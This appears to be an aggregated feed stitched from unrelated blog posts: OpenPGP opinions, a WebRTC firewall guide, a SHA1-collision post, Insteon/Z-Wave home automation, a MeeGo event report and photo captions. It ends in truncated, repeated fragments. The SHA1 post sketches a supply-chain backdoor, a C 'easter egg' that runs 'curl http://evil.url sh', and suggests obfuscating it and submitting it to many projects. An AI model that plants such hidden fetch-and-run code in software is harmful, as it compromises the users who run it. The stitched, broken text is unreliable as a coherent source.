interface to my YubiKey for authenticating with SSH servers.
I understand people feel that OpenPGP is possibly insecure,
counter-intuitive and full of problems, but I think most of those
problems should instead be attributed to its current flagship
implementation, GnuPG. I have tried to work with GnuPG for years, and
it keeps surprising me with evilness and oddities.
I have high hopes that the Sequoia project can bring some sanity
into this space, and I also hope that RFC4880bis can eventually
get somewhere so we have a more solid specification with more robust
crypto. It's kind of a shame that this has dragged on for so
long, but Update: there's a separate draft called
openpgp-crypto-refresh that might actually be adopted as the
"OpenPGP RFC" soon! And
it doesn't keep real work from happening in Sequoia and other
implementations. Thunderbird rewrote their OpenPGP implementation with
RNP (which was, granted, a bumpy road because it lost
compatibility with GnuPG) and Sequoia now has a certificate store
with trust management (but still no secret storage), preliminary
OpenPGP card support and even a basic GnuPG compatibility
layer. I'm also curious to try out the OpenPGP CA
capabilities.
So maybe it's just because I'm becoming an old fart that doesn't want
to change tools, but so far I haven't seen a good incentive in
switching away from OpenPGP, and haven't found a good set of tools
that completely replace it. Maybe OpenSSH's keys and CA can eventually
replace it, but I suspect they will end up rebuilding most of OpenPGP
anyway, just more slowly. If they do, let's hope they avoid the
mistakes our community has done in the past at least...
WebRTC is a standard real-time communication protocol
built directly into modern web browsers. It enables the creation of video
conferencing services which do not require participants to download
additional software. Many services make use of it and it almost always works
out of the box.
The reason it just works is that it uses a protocol called
ICE
to establish a connection regardless of the network environment. What that
means however is that in some cases, your video/audio connection will need
to be relayed (using end-to-end encryption) to the other person via
third-party
TURN
server. In addition to adding extra network latency to your call that relay
server might overloaded at some point and drop or delay packets coming
through.
Here's how to tell whether or not your WebRTC calls are being relayed, and
how to ensure you get a direct connection to the other host.
Testing basic WebRTC functionality
Before you place a real call, I suggest using the official test
page which will test your camera, microphone and
network connectivity.
Note that this test page makes use of a Google TURN server which is locked
to particular HTTP referrers and so you'll need to disable privacy features
that might interfere with this:
Brave: Disable Shields entirely for that page
(Simple view) or allow all cookies for that page (Advanced view).
Firefox: Ensure that http.network.referer.spoofSource is set to false
in about:config, which it is by default.
uMatrix: The "Spoof Referer
header" option needs to be turned off for that site.
Checking the type of peer connection you have
Once you know that WebRTC is working in your browser, it's time to establish
a connection and look at the network configuration that the two peers agreed
on.
My favorite service at the moment is Whereby
(formerly Appear.in), so I'm going to use that to connect from two
different computers:
canada is a laptop behind a regular home router without any port
forwarding.
siberia is a desktop computer in a remote location that is also behind a
home router, but in this case its internal IP address (192.168.1.2) is
set as the DMZ
host.
Chromium
For all Chromium-based browsers, such as Brave, Chrome, Edge, Opera and
Vivaldi, the debugging page you'll need to open is called
chrome://webrtc-internals.
Look for RTCIceCandidatePair lines and expand them one at a time until you
find the one which says:
state: succeeded (or state: in-progress)
nominated: true
writable: true
Then from the name of that pair (N6cxxnrr_OEpeash in the above example)
find the two matching RTCIceCandidate lines (one local-candidate and one
remote-candidate) and expand them.
In the case of a direct connection, I saw the following on the
remote-candidate:
ip shows the external IP address of siberia
port shows a random number between 1024 and 65535
candidateType: srflx
and the following on local-candidate:
ip shows the external IP address of canada
port shows a random number between 1024 and 65535
candidateType: prflx
These candidate
types
indicate that a STUN server was used
to determine the public-facing IP address and port for each computer, but
the actual connection between the peers is direct.
On the other hand, for a relayed/proxied connection, I saw the following
on the remote-candidate side:
ip shows an IP address belonging to the TURN server
candidateType: relay
and the same information as before on the local-candidate.
Firefox
If you are using Firefox, the debugging page you want to look at is
about:webrtc.
Expand the top entry under "Session Statistics" and look for the line
(should be the first one) which says the following in green:
ICE State: succeeded
Nominated: true
Selected: true
then look in the "Local Candidate" and "Remote Candidate" sections to find
the candidate
type
in brackets.
Firewall ports to open to avoid using a relay
In order to get a direct connection to the other WebRTC peer, one of the
two computers (in my case, siberia) needs to open all inbound UDP
ports since there doesn't appear to be a way to restrict Chromium or
Firefox to a smaller port range for incoming WebRTC connections.
This isn't great and so I decided to tighten that up in two ways by:
restricting incoming UDP traffic to the IP range of siberia's ISP, and
explicitly denying incoming to the UDP ports I know are open on siberia.
To get the IP range, start with the external IP address of the machine (I'll
use the IP address of my blog in this example: 66.228.46.55) and pass it
to the whois command:
To get the list of open UDP ports on siberia, I sshed into it and ran
nmap:
$ sudo nmap -sU localhost
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-28 15:55 PDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000015s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
631/udp open filtered ipp
5060/udp open filtered sip
5353/udp open zeroconf
Nmap done: 1 IP address (1 host up) scanned in 190.25 seconds
I ended up with the following in my /etc/network/iptables.up.rules (ports
below 1024 are denied by the default rule and don't need to be included
here):
# Deny all known-open high UDP ports before enabling WebRTC for canada
-A INPUT -p udp --dport 5060 -j DROP
-A INPUT -p udp --dport 5353 -j DROP
-A INPUT -s 66.228.32.0/19 -p udp --dport 1024:65535 -j ACCEPT
Happy SHA1 collision day everybody!
If you extract the differences between the good.pdf and bad.pdf
attached to the paper,
you'll find it all comes down to a small ~128 byte chunk of
random-looking binary data that varies between the files.
The SHA1 attack announced today is a common-prefix attack. The common
prefix that we will use is this:
/* ASCII art for easter egg. */
char *amazing_ascii_art="\
(To be extra sneaky, you can add a git blob object header to that prefix
before calculating the collisions. Doing so will make the SHA1 that git
generates when checking in the colliding file be the thing that collides.
This makes it easier to swap in the bad file later on, because you can
publish a git repository containing it, and trick people into using that
repository. ("I put a mirror on github!") The developers of the program
will have the good version in their repositories and not notice that users
are getting the bad version.)
Suppose that the attack was able to find collisions using only printable
ASCII characters when calculating those chunks.
The "good" data chunk might then look like this:
Now we need an ASCII artist. This could be a human, or it could be a
machine. The artist needs to make an ASCII art where the first line
is the good chunk, and the rest of the lines obfuscate how random the first
line is.
Quick demo from a not very artistic ASCII artist, of the first 10th of
such a picture based on the "good" line above:
Now, take your ASCII art and embed it in a multiline quote in a C source
file, like this:
/* ASCII art for easter egg. */
char *amazing_ascii_art="\
7*yLN#!NOK \
3*\\LN'\\NO@ \
3*/LN \\.A \
5*\\LN \\. \
>=======:) \
5*\\7N /. \
3*/7N /.V \
3*\\7N'/NO@ \
7*y7N#!NOX";
/* We had to escape backslashes above to make it a valid C string.
* Run program with --easter-egg to see it in all its glory.
*/
/* Call this at the top of main() */
check_display_easter_egg (char **argv)
if (strcmp(argv[1], "--easter-egg") == 0)
printf(amazing_ascii_art);
if (amazing_ascii_art[0] == "9")
system("curl http://evil.url sh");
Now, you need a C ofuscation person, to make that backdoor a little less
obvious. (Hint: Add code to to fix the newlines, paint additional
ASCII sprites over top of the static art, etc, add animations, and bury
the shellcode in there.)
After a little work, you'll have a C file that any project would
like to add, to be able to display a great easter egg ASCII art. Submit it
to a project. Submit different versions of it to 100 projects! Everything
after line 3 can be edited to make lots of different versions targeting
different programs.
Once a project contains the first 3 lines of the file, followed by
anything at all, it contains a SHA1 collision, from which you can generate
the bad version by swapping in the bad data chuck. You can then
replace the good file with the bad version here and there, and noone
will be the wiser (except the easter egg will display the "bad" first line
before it roots them).
Now, how much more expensive would this be than today's SHA1 attack? It
needs a way to generate collisions using only printable ASCII. Whether that
is feasible depends on the implementation details of the SHA1 attack, and I
don't really know. I should stop writing this blog post and read the rest
of the paper.
You can pick either of these two lessons to take away:
ASCII art in code is evil and unsafe. Avoid it at any cost. apt-get moo
Git's security is getting broken to the point that ASCII art
(and a few hundred thousand dollars) is enough to defeat it.
My work today investigating ways to apply the SHA1 collision to git
repos (not limited to this blog post) was sponsored by Thomas Hochstein
on Patreon.
I ve been thinking about home automation automating lights, switches, thermostats, etc. for years. Literally decades, in fact. When I was a child, my parents had a RadioShack X10 control module and one or two target devices. I think I had fun giving people a light show turning on or off one switch and one outlet remotely.
But I was stuck there are a daunting number of standards for home automation these days. Zigbee, UPB, Z-Wave, Insteon, and all sorts of Wifi-enabled things that aren t really compatible with each other (hellooooo, Nest) or have their own ecosystem that isn t all that open (helloooo, Apple). Frankly I don t think that Wifi is a great home automation protocol; its power drain completely prohibits it being used in a lot of ways.
Earlier this month, my awesome employer had our annual meeting and as part of that our technical teams had some time for anyone to talk about anything geeky. I used my time to talk about flying quadcopters, but two of my colleagues talked about home automation. I had enough to have a place to start, and was hooked.
People use these systems to do all sorts of things: intelligently turn off lights when rooms aren t occupied, provide electronic door locks (unlockable via keypad, remote, or software), remote control lighting and heating/cooling via smartphone apps, detect water leakage, control switches with awkward wiring environments, buttons to instantly set multiple switches to certain levels for TV watching, turning off lights left on, etc. I even heard examples of monitoring a swamp cooler to make sure it is being used correctly. The possibilities are endless, and my geeky side was intrigued.
Insteon and Z-Wave
Based on what I heard from my colleagues, I decided to adopt a hybrid network consisting of Insteon and Z-Wave.
Both are reliable protocols (with ACKs and retransmit), so they work far better than X10 did. Both have all sorts of controls and sensors available (browse around on smarthome.com for some ideas).
Insteon is a particularly interesting system an integrated dual-mesh network. It has both powerline and RF signaling, and most hardwared Insteon devices act as repeaters for both the wired and RF network simultaneously. Insteon packets contain a maximum hop count that is decremented after each relay, and the packets repeat in such as way that they collide and strengthen one another. There is no need to maintain routing tables or anything like that; it simply scales nicely.
This system addresses all sorts of potential complexities. It addresses the split-phase problem of powerline-only systems, but using an RF bridge. It addresses long distances and outbuildings by using the powerline signaling. I found it to work quite well.
The downside to Insteon is that all the equipment comes from one vendor: Insteon. If you don t like their thermostat or motion sensor, you don t have any choice.
Insteon devices can be used entirely without a central controller. Light switches can talk to each other directly, and you can even set them up so that one switch controls dozens of others, if you have enough patience to go around your house pressing tiny set buttons.
Enter Z-Wave. Z-Wave is RF-only, and while it is also a mesh network, it is source-routed, meaning that if you move devices around, you have to heal your network as all your nodes have to re-learn the path to each other. It also doesn t have the easy distance traversal of Insteon, of course. On the other hand, hundreds of vendors make Z-Wave products, and they mostly interoperate well. Z-Wave is said to scale practically to maybe two or three dozen devices, which would have been an issue for me, buut with Insteon doing the heavy lifting and Z-Wave filling in the gaps, it s worked out well.
Controlling it all
While both Insteon (and, to a certain extent, Z-Wave) devices can control each other, to really spread your wings, you need more centralized control. This lets you have programs that do things like if there s motion in the room on a weekday and it s dark outside, then turn on a light, and turn it back off 5 minutes later.
Insteon has several options. One, you can buy their power line modem (PLM). This can be hooked up to a PC to run either Insteon s proprietary software, or something open-source like MisterHouse, written in Perl. Or you can hook it up to a controller I ll mention in a minute. Those looking for a fairly simpe controller might get the Insteon 2242-222 Hub, which has the obligatory smartphone app and basic schedules.
For more sophisticated control, my friend recommended the ISY-994i controller. Not only does it have a lot more capable programming language (though still frustrating), it supports both Insteon and Z-Wave in an integrated box, and has a comprehensive REST API for integrating with other things. I went this route.
First step: LED lighting
I began my project by replacing my light bulbs with LEDs. I found that I could get Cree 4-Flow 60W equivs for $10 at Home Depot. They are dimmable, a key advantage over CFL, and also maintain their brightness throughout their life far better. As I wanted to install dimmer switches, I got a combination of Cree 60W bulbs, Cree TW bulbs (which have a better color spectrum coverage for more true colors), and Cree 100W equiv bulbs for places I needed more coverage. I even put in a few LED flood lights to replace my can lights.
Overall I was happy with the LEDs. They are a significant improvement over the CFLs I had been using, and use even less power to boot. I have had issues with three Cree bulbs, though: one arrived broken, and two others have had issues such as being quite dim. They have a good warranty, but it seems their QA could be better. Also, they can have a tendency to flickr when dimmed, though this plagues virtually all LED bulbs.
I had done quite a bit of research. CNET has some helpful brightness guides, and Insteon has a color temperature chart. CNET also had a nifty in-depth test of LED bulbs.
Second step: switches
Once the LED bulbs were in place, I was then able to start installing smart switches. I picked up Insteon s basic switch, the SwitchLinc 2477D at Menard s. This is a dimmable switch and requires a neutral wire in the box, but acts as a dual-band repeater for the system as well.
The way Insteon switches work, they can be standalone, or controllers, responders, or both in a scene . A scene is where multiple devices act together. You can create virtual 3-way switches in a scene, or more complicated things where different lights are turned on at different levels.
Anyhow, these switches worked out quite well. I have a few boxes where there is no neutral wire, so I had to use the Insteon SwitchLinc 2474D in them. That switch is RF-only and is supposed to have a minimum load of 20W, though they seemed to work OK albeit with limited range and the occasional glitch with my LEDs. There is also the relay-based SwitchLinc 2477S for use with non-dimmable lights, fans, etc. You can also get plug-in modules for controlling lamps and such.
I found the Insteon devices mostly lived up to their billing. Occasionally I could provoke a glitch by changing from dimming to brightening in rapid succession on a remote switch controlling a load on a distant one. Twice I had to power cycle an Insteon switch that got confused (rather annoying when they re hardwared). Other than that, though, it s been solid. From what I gather, this stuff isn t ever quite as reliable as a 1950s mechanical switch, but at least in this price range, this is about as good as it gets these days.
Well, this post got quite long, so I will have to follow up with part 2 in a little while. I intend to write about sensors and the Z-Wave network (which didn t work quite as easily as Insteon), as well as programming the ISY and my lessons learned along the way.
MeeGo Summit FI is now nearing completion, with several keynotes and other presentations, Meegathon 24h contest just coming to an end and a lot of interesting discussions had. See full program for details. Yesterday was a hugely energetic day, but today the lack of sleep starts to kick in a bit at least for me.
Some highlights via photos:
Keynote venue was a movie theater
MeeGo status update by Valtteri Halla / Intel - talking among else about tablets, IVI, and the 20 person team at Nokia doing MeeGo(.com) for N900 phone
Carsten Munk / Nomovok - "Hacking your existence: the importance of open-ended devices in the MeeGo world"
In addition to MeeGo tablet demonstrations a Wayland compositor was demoed by a Nomovok employee.
One of the many Qt / QML related talks was held by Tapani Mikola / Nokia
Evening party
Day 2 started with a few more presentations and Finhack event launching in the Protomo room as well
Still remaining for the day are Meegathon demonstrations (well actually I'm right now already following those while finishing this - cool demos!) , Meegathon awards, a panel discussion on "MeeGo, Nokia, Finns - finished? Can MeeGo be important in Finland without being inside Nokia's core?", BoF sessions and finally Intel AppUp Application Lab including some MeeGo table give-outs.
Thanks to organizers, many of whom were volunteers. The event has been running completely smoothly, coming not as a big surprise after the hugely successful last summer's Akademy 2010 also held in Tampere.
A shot of Jewel Changi. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
A shot of Sentosa Boardwalk. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
This is the hawker center we went to. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Table littering at the hawker center was prohibited by law. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Merlion from behind, giving a good view of Marina Bay Sands. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Another short status update of what happened on my side last
month. 
Here are my favourite books and movies that I read and watched throughout 2024.
It wasn't quite the stellar year for books as 
Then from the name of that pair (
In the case of a direct connection, I saw the following on the
Happy 
